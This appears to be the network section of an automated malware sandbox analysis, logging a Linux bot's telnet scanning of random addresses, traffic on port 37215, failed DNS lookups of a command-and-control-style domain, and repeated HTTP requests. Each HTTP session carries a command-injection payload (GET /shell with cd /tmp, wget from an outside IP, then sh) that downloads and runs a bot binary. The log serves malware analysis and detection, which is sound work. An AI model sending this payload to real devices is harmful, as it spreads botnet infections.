Dec 3, 2024 21:47:28.877405882 CET	40955	23	192.168.2.13	71.159.151.236
Dec 3, 2024 21:47:28.877407074 CET	40955	23	192.168.2.13	154.52.120.250
Dec 3, 2024 21:47:28.877413034 CET	40955	23	192.168.2.13	175.251.50.66
Dec 3, 2024 21:47:28.877413034 CET	40955	23	192.168.2.13	88.241.93.11
Dec 3, 2024 21:47:28.877424955 CET	40955	23	192.168.2.13	181.180.6.93
Dec 3, 2024 21:47:28.877429962 CET	40955	23	192.168.2.13	43.90.217.227
Dec 3, 2024 21:47:28.877434015 CET	40955	23	192.168.2.13	207.118.161.182
Dec 3, 2024 21:47:28.877434015 CET	40955	23	192.168.2.13	94.57.109.140
Dec 3, 2024 21:47:28.877444029 CET	40955	23	192.168.2.13	176.68.176.185
Dec 3, 2024 21:47:28.877451897 CET	40955	23	192.168.2.13	184.151.68.152
Dec 3, 2024 21:47:28.877451897 CET	40955	23	192.168.2.13	143.214.49.63
Dec 3, 2024 21:47:28.877460003 CET	40955	23	192.168.2.13	163.40.132.240
Dec 3, 2024 21:47:28.877475023 CET	40955	23	192.168.2.13	179.176.98.123
Dec 3, 2024 21:47:28.877487898 CET	40955	23	192.168.2.13	61.145.228.244
Dec 3, 2024 21:47:28.877495050 CET	40955	23	192.168.2.13	169.145.111.146
Dec 3, 2024 21:47:28.877511024 CET	40955	23	192.168.2.13	161.33.65.28
Dec 3, 2024 21:47:28.877513885 CET	40955	23	192.168.2.13	104.248.209.2
Dec 3, 2024 21:47:28.877513885 CET	40955	23	192.168.2.13	62.45.3.134
Dec 3, 2024 21:47:28.877516031 CET	40955	23	192.168.2.13	208.251.58.58
Dec 3, 2024 21:47:28.877522945 CET	40955	23	192.168.2.13	101.163.53.219
Dec 3, 2024 21:47:28.877530098 CET	40955	23	192.168.2.13	47.204.126.132
Dec 3, 2024 21:47:28.877533913 CET	40955	23	192.168.2.13	90.124.0.204
Dec 3, 2024 21:47:28.877542973 CET	40955	23	192.168.2.13	88.89.29.77
Dec 3, 2024 21:47:28.877549887 CET	40955	23	192.168.2.13	36.133.102.65
Dec 3, 2024 21:47:28.877552986 CET	40955	23	192.168.2.13	13.145.191.82
Dec 3, 2024 21:47:28.877553940 CET	40955	23	192.168.2.13	34.151.194.247
Dec 3, 2024 21:47:28.877557039 CET	40955	23	192.168.2.13	210.55.21.100
Dec 3, 2024 21:47:28.877563953 CET	40955	23	192.168.2.13	65.87.61.35
Dec 3, 2024 21:47:28.877567053 CET	40955	23	192.168.2.13	37.142.126.15
Dec 3, 2024 21:47:28.877573967 CET	40955	23	192.168.2.13	70.240.76.182
Dec 3, 2024 21:47:28.877579927 CET	40955	23	192.168.2.13	104.219.237.114
Dec 3, 2024 21:47:28.877580881 CET	40955	23	192.168.2.13	123.0.163.205
Dec 3, 2024 21:47:28.877594948 CET	40955	23	192.168.2.13	43.129.204.147
Dec 3, 2024 21:47:28.877594948 CET	40955	23	192.168.2.13	58.108.146.186
Dec 3, 2024 21:47:28.877598047 CET	40955	23	192.168.2.13	39.117.17.243
Dec 3, 2024 21:47:28.877607107 CET	40955	23	192.168.2.13	46.83.6.234
Dec 3, 2024 21:47:28.877608061 CET	40955	23	192.168.2.13	195.76.255.17
Dec 3, 2024 21:47:28.877614021 CET	40955	23	192.168.2.13	126.214.121.110
Dec 3, 2024 21:47:28.877629042 CET	40955	23	192.168.2.13	78.237.198.38
Dec 3, 2024 21:47:28.877634048 CET	40955	23	192.168.2.13	205.14.50.195
Dec 3, 2024 21:47:28.877635956 CET	40955	23	192.168.2.13	42.238.141.91
Dec 3, 2024 21:47:28.877648115 CET	40955	23	192.168.2.13	186.86.220.114
Dec 3, 2024 21:47:28.877655029 CET	40955	23	192.168.2.13	96.105.218.181
Dec 3, 2024 21:47:28.877655029 CET	40955	23	192.168.2.13	112.132.155.46
Dec 3, 2024 21:47:28.877671003 CET	40955	23	192.168.2.13	122.21.77.174
Dec 3, 2024 21:47:28.877671003 CET	40955	23	192.168.2.13	87.70.44.241
Dec 3, 2024 21:47:28.877680063 CET	40955	23	192.168.2.13	184.171.10.40
Dec 3, 2024 21:47:28.877688885 CET	40955	23	192.168.2.13	159.81.19.72
Dec 3, 2024 21:47:28.877693892 CET	40955	23	192.168.2.13	76.123.7.143
Dec 3, 2024 21:47:28.877697945 CET	40955	23	192.168.2.13	132.239.123.180
Dec 3, 2024 21:47:28.877698898 CET	40955	23	192.168.2.13	185.147.174.152
Dec 3, 2024 21:47:28.877711058 CET	40955	23	192.168.2.13	187.180.15.98
Dec 3, 2024 21:47:28.877712011 CET	40955	23	192.168.2.13	68.103.2.217
Dec 3, 2024 21:47:28.877718925 CET	40955	23	192.168.2.13	129.179.40.212
Dec 3, 2024 21:47:28.877718925 CET	40955	23	192.168.2.13	196.3.78.227
Dec 3, 2024 21:47:28.877734900 CET	40955	23	192.168.2.13	63.140.235.125
Dec 3, 2024 21:47:28.877737999 CET	40955	23	192.168.2.13	207.98.242.184
Dec 3, 2024 21:47:28.877744913 CET	40955	23	192.168.2.13	186.63.172.16
Dec 3, 2024 21:47:28.877757072 CET	40955	23	192.168.2.13	186.38.232.16
Dec 3, 2024 21:47:28.877758026 CET	40955	23	192.168.2.13	109.63.246.52
Dec 3, 2024 21:47:28.877768040 CET	40955	23	192.168.2.13	111.135.176.127
Dec 3, 2024 21:47:28.877777100 CET	40955	23	192.168.2.13	157.53.28.195
Dec 3, 2024 21:47:28.877782106 CET	40955	23	192.168.2.13	161.46.91.164
Dec 3, 2024 21:47:28.877790928 CET	40955	23	192.168.2.13	95.238.32.2
Dec 3, 2024 21:47:28.877798080 CET	40955	23	192.168.2.13	192.99.142.37
Dec 3, 2024 21:47:28.877803087 CET	40955	23	192.168.2.13	200.116.231.148
Dec 3, 2024 21:47:28.877813101 CET	40955	23	192.168.2.13	46.161.47.176
Dec 3, 2024 21:47:28.877819061 CET	40955	23	192.168.2.13	218.206.77.113
Dec 3, 2024 21:47:28.877820015 CET	40955	23	192.168.2.13	223.142.171.9
Dec 3, 2024 21:47:28.877820969 CET	40955	23	192.168.2.13	24.62.28.190
Dec 3, 2024 21:47:28.877826929 CET	40955	23	192.168.2.13	217.253.251.24
Dec 3, 2024 21:47:28.877836943 CET	40955	23	192.168.2.13	9.50.78.138
Dec 3, 2024 21:47:28.877840996 CET	40955	23	192.168.2.13	205.172.213.166
Dec 3, 2024 21:47:28.877860069 CET	40955	23	192.168.2.13	89.125.217.105
Dec 3, 2024 21:47:28.877861977 CET	40955	23	192.168.2.13	161.166.150.0
Dec 3, 2024 21:47:28.877866030 CET	40955	23	192.168.2.13	98.131.16.160
Dec 3, 2024 21:47:28.877868891 CET	40955	23	192.168.2.13	177.10.119.249
Dec 3, 2024 21:47:28.877868891 CET	40955	23	192.168.2.13	132.80.38.108
Dec 3, 2024 21:47:28.877870083 CET	40955	23	192.168.2.13	113.24.180.49
Dec 3, 2024 21:47:28.877881050 CET	40955	23	192.168.2.13	110.64.78.200
Dec 3, 2024 21:47:28.877888918 CET	40955	23	192.168.2.13	116.230.43.12
Dec 3, 2024 21:47:28.877892017 CET	40955	23	192.168.2.13	103.146.95.2
Dec 3, 2024 21:47:28.877904892 CET	40955	23	192.168.2.13	136.49.248.83
Dec 3, 2024 21:47:28.877906084 CET	40955	23	192.168.2.13	51.110.239.91
Dec 3, 2024 21:47:28.877912045 CET	40955	23	192.168.2.13	107.53.223.82
Dec 3, 2024 21:47:28.877913952 CET	40955	23	192.168.2.13	92.174.42.54
Dec 3, 2024 21:47:28.877919912 CET	40955	23	192.168.2.13	27.98.136.148
Dec 3, 2024 21:47:28.877919912 CET	40955	23	192.168.2.13	71.154.21.252
Dec 3, 2024 21:47:28.877922058 CET	40955	23	192.168.2.13	169.99.182.233
Dec 3, 2024 21:47:28.877933025 CET	40955	23	192.168.2.13	223.111.152.214
Dec 3, 2024 21:47:28.877928972 CET	40955	23	192.168.2.13	39.72.29.0
Dec 3, 2024 21:47:28.877955914 CET	40955	23	192.168.2.13	118.56.119.133
Dec 3, 2024 21:47:28.877960920 CET	40955	23	192.168.2.13	195.76.162.110
Dec 3, 2024 21:47:28.877964973 CET	40955	23	192.168.2.13	73.132.167.26
Dec 3, 2024 21:47:28.877965927 CET	40955	23	192.168.2.13	216.162.66.53
Dec 3, 2024 21:47:28.877966881 CET	40955	23	192.168.2.13	89.56.104.203
Dec 3, 2024 21:47:28.877969027 CET	40955	23	192.168.2.13	83.109.48.255
Dec 3, 2024 21:47:28.877974033 CET	40955	23	192.168.2.13	210.208.206.187
Dec 3, 2024 21:47:28.877974033 CET	40955	23	192.168.2.13	60.13.150.126
Dec 3, 2024 21:47:28.877978086 CET	40955	23	192.168.2.13	189.184.213.198
Dec 3, 2024 21:47:28.877983093 CET	40955	23	192.168.2.13	47.204.38.135
Dec 3, 2024 21:47:28.877984047 CET	40955	23	192.168.2.13	169.178.201.17
Dec 3, 2024 21:47:28.877984047 CET	40955	23	192.168.2.13	8.44.161.222
Dec 3, 2024 21:47:28.877988100 CET	40955	23	192.168.2.13	210.245.46.46
Dec 3, 2024 21:47:28.877988100 CET	40955	23	192.168.2.13	68.18.231.115
Dec 3, 2024 21:47:28.877991915 CET	40955	23	192.168.2.13	205.22.216.100
Dec 3, 2024 21:47:28.877991915 CET	40955	23	192.168.2.13	84.13.115.16
Dec 3, 2024 21:47:28.877993107 CET	40955	23	192.168.2.13	23.224.184.250
Dec 3, 2024 21:47:28.877994061 CET	40955	23	192.168.2.13	191.241.24.176
Dec 3, 2024 21:47:28.877994061 CET	40955	23	192.168.2.13	67.118.148.252
Dec 3, 2024 21:47:28.878005028 CET	40955	23	192.168.2.13	42.161.249.146
Dec 3, 2024 21:47:28.878005028 CET	40955	23	192.168.2.13	134.59.202.245
Dec 3, 2024 21:47:28.878010035 CET	40955	23	192.168.2.13	183.117.96.33
Dec 3, 2024 21:47:28.878011942 CET	40955	23	192.168.2.13	169.254.247.114
Dec 3, 2024 21:47:28.878011942 CET	40955	23	192.168.2.13	198.188.78.85
Dec 3, 2024 21:47:28.878012896 CET	40955	23	192.168.2.13	130.4.242.97
Dec 3, 2024 21:47:28.878012896 CET	40955	23	192.168.2.13	100.223.19.145
Dec 3, 2024 21:47:28.878020048 CET	40955	23	192.168.2.13	181.244.162.48
Dec 3, 2024 21:47:28.925096035 CET	37215	41380	197.110.202.156	192.168.2.13
Dec 3, 2024 21:47:28.925417900 CET	37215	41418	197.110.202.156	192.168.2.13
Dec 3, 2024 21:47:28.925517082 CET	41418	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.925580978 CET	41418	37215	192.168.2.13	197.110.202.156
Dec 3, 2024 21:47:28.925726891 CET	37215	52536	41.46.145.243	192.168.2.13
Dec 3, 2024 21:47:28.925945044 CET	37215	52574	41.46.145.243	192.168.2.13
Dec 3, 2024 21:47:28.925996065 CET	52574	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.926027060 CET	52574	37215	192.168.2.13	41.46.145.243
Dec 3, 2024 21:47:28.926340103 CET	37215	35172	197.169.82.27	192.168.2.13
Dec 3, 2024 21:47:28.926577091 CET	37215	35210	197.169.82.27	192.168.2.13
Dec 3, 2024 21:47:28.926619053 CET	35210	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.926631927 CET	35210	37215	192.168.2.13	197.169.82.27
Dec 3, 2024 21:47:28.926940918 CET	37215	52388	156.63.43.37	192.168.2.13
Dec 3, 2024 21:47:28.927071095 CET	37215	52426	156.63.43.37	192.168.2.13
Dec 3, 2024 21:47:28.927131891 CET	52426	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.927131891 CET	52426	37215	192.168.2.13	156.63.43.37
Dec 3, 2024 21:47:28.927516937 CET	37215	40506	41.173.136.87	192.168.2.13
Dec 3, 2024 21:47:28.927659035 CET	37215	40544	41.173.136.87	192.168.2.13
Dec 3, 2024 21:47:28.927695036 CET	40544	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.927709103 CET	40544	37215	192.168.2.13	41.173.136.87
Dec 3, 2024 21:47:28.928030014 CET	37215	60842	41.63.17.195	192.168.2.13
Dec 3, 2024 21:47:28.928255081 CET	37215	60880	41.63.17.195	192.168.2.13
Dec 3, 2024 21:47:28.928296089 CET	60880	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.928317070 CET	60880	37215	192.168.2.13	41.63.17.195
Dec 3, 2024 21:47:28.928739071 CET	37215	52948	197.6.106.254	192.168.2.13
Dec 3, 2024 21:47:28.929107904 CET	37215	52986	197.6.106.254	192.168.2.13
Dec 3, 2024 21:47:28.929152012 CET	52986	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.929162979 CET	52986	37215	192.168.2.13	197.6.106.254
Dec 3, 2024 21:47:28.929508924 CET	37215	49982	197.18.43.124	192.168.2.13
Dec 3, 2024 21:47:28.929541111 CET	37215	50020	197.18.43.124	192.168.2.13
Dec 3, 2024 21:47:28.929583073 CET	50020	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.929609060 CET	50020	37215	192.168.2.13	197.18.43.124
Dec 3, 2024 21:47:28.929799080 CET	37215	35302	197.216.73.25	192.168.2.13
Dec 3, 2024 21:47:28.930068016 CET	37215	35340	197.216.73.25	192.168.2.13
Dec 3, 2024 21:47:28.930108070 CET	35340	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.930121899 CET	35340	37215	192.168.2.13	197.216.73.25
Dec 3, 2024 21:47:28.938452005 CET	80	54506	168.19.35.119	192.168.2.13
Dec 3, 2024 21:47:28.938509941 CET	54506	80	192.168.2.13	168.19.35.119
Dec 3, 2024 21:47:28.945643902 CET	23	40948	61.156.145.112	192.168.2.13
Dec 3, 2024 21:47:28.945700884 CET	80	50616	191.145.49.217	192.168.2.13
Dec 3, 2024 21:47:28.945744991 CET	50616	80	192.168.2.13	191.145.49.217
Dec 3, 2024 21:47:28.945770025 CET	40948	23	192.168.2.13	61.156.145.112
Dec 3, 2024 21:47:28.946186066 CET	41172	23	192.168.2.13	61.156.145.112

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 21:47:19.069808960 CET	192.168.2.13	8.8.8.8	0xe1d2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:19.552103996 CET	192.168.2.13	8.8.8.8	0xe1d2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:19.803288937 CET	192.168.2.13	8.8.8.8	0xe1d2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:20.195655107 CET	192.168.2.13	8.8.8.8	0xe1d2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:20.669267893 CET	192.168.2.13	8.8.8.8	0xe1d2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:44.030101061 CET	192.168.2.13	8.8.8.8	0x64e7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:44.429044962 CET	192.168.2.13	8.8.8.8	0x64e7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:44.901369095 CET	192.168.2.13	8.8.8.8	0x64e7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:45.151067019 CET	192.168.2.13	8.8.8.8	0x64e7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:45.623547077 CET	192.168.2.13	8.8.8.8	0x64e7	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:09.147207975 CET	192.168.2.13	8.8.8.8	0xddd2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:09.398467064 CET	192.168.2.13	8.8.8.8	0xddd2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:09.649210930 CET	192.168.2.13	8.8.8.8	0xddd2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:09.898838997 CET	192.168.2.13	8.8.8.8	0xddd2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:10.374351025 CET	192.168.2.13	8.8.8.8	0xddd2	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:33.676738024 CET	192.168.2.13	8.8.8.8	0x8bbd	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:34.070385933 CET	192.168.2.13	8.8.8.8	0x8bbd	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:34.465969086 CET	192.168.2.13	8.8.8.8	0x8bbd	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:39.468996048 CET	192.168.2.13	8.8.8.8	0x8bbd	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:39.728034973 CET	192.168.2.13	8.8.8.8	0x8bbd	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:03.239454985 CET	192.168.2.13	8.8.8.8	0xa59c	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:03.713749886 CET	192.168.2.13	8.8.8.8	0xa59c	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:04.195482016 CET	192.168.2.13	8.8.8.8	0xa59c	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:04.447916985 CET	192.168.2.13	8.8.8.8	0xa59c	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:04.699562073 CET	192.168.2.13	8.8.8.8	0xa59c	Standard query (0)	scamanje.stresserit.pro	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 21:47:19.550400019 CET	8.8.8.8	192.168.2.13	0xe1d2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:19.801939011 CET	8.8.8.8	192.168.2.13	0xe1d2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:20.192722082 CET	8.8.8.8	192.168.2.13	0xe1d2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:20.667785883 CET	8.8.8.8	192.168.2.13	0xe1d2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:20.919671059 CET	8.8.8.8	192.168.2.13	0xe1d2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:44.427956104 CET	8.8.8.8	192.168.2.13	0x64e7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:44.899916887 CET	8.8.8.8	192.168.2.13	0x64e7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:45.149905920 CET	8.8.8.8	192.168.2.13	0x64e7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:45.622416973 CET	8.8.8.8	192.168.2.13	0x64e7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:47:46.101922989 CET	8.8.8.8	192.168.2.13	0x64e7	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:09.397013903 CET	8.8.8.8	192.168.2.13	0xddd2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:09.647974014 CET	8.8.8.8	192.168.2.13	0xddd2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:09.898041964 CET	8.8.8.8	192.168.2.13	0xddd2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:10.373526096 CET	8.8.8.8	192.168.2.13	0xddd2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:10.624491930 CET	8.8.8.8	192.168.2.13	0xddd2	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:34.069004059 CET	8.8.8.8	192.168.2.13	0x8bbd	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:34.464648008 CET	8.8.8.8	192.168.2.13	0x8bbd	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:39.726941109 CET	8.8.8.8	192.168.2.13	0x8bbd	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:48:40.200217962 CET	8.8.8.8	192.168.2.13	0x8bbd	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:03.712697983 CET	8.8.8.8	192.168.2.13	0xa59c	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:04.194211006 CET	8.8.8.8	192.168.2.13	0xa59c	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:04.446286917 CET	8.8.8.8	192.168.2.13	0xa59c	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:04.698374033 CET	8.8.8.8	192.168.2.13	0xa59c	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false
Dec 3, 2024 21:49:04.951150894 CET	8.8.8.8	192.168.2.13	0xa59c	Name error (3)	scamanje.stresserit.pro	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.13	60014	186.84.218.11	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.251938105 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.13	55008	132.216.212.60	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.255470037 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.13	60340	170.41.22.77	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.256251097 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.13	39072	104.7.94.67	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.256947994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.13	48836	158.83.114.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.257635117 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.13	54690	192.43.101.232	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.258284092 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.13	42902	2.241.114.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.258971930 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.13	52708	204.38.189.144	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.259674072 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.13	49302	76.92.114.113	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.302400112 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.13	46564	90.16.15.253	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.303225040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.13	54840	189.42.102.231	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.303872108 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.13	52532	98.139.210.210	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.304656029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.13	59820	1.37.160.118	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.305308104 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.13	45144	71.32.188.209	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 21:47:21.306077957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.13	42306	145.167.157.176	80

Timestamp	Bytes transferred	Direction	Data
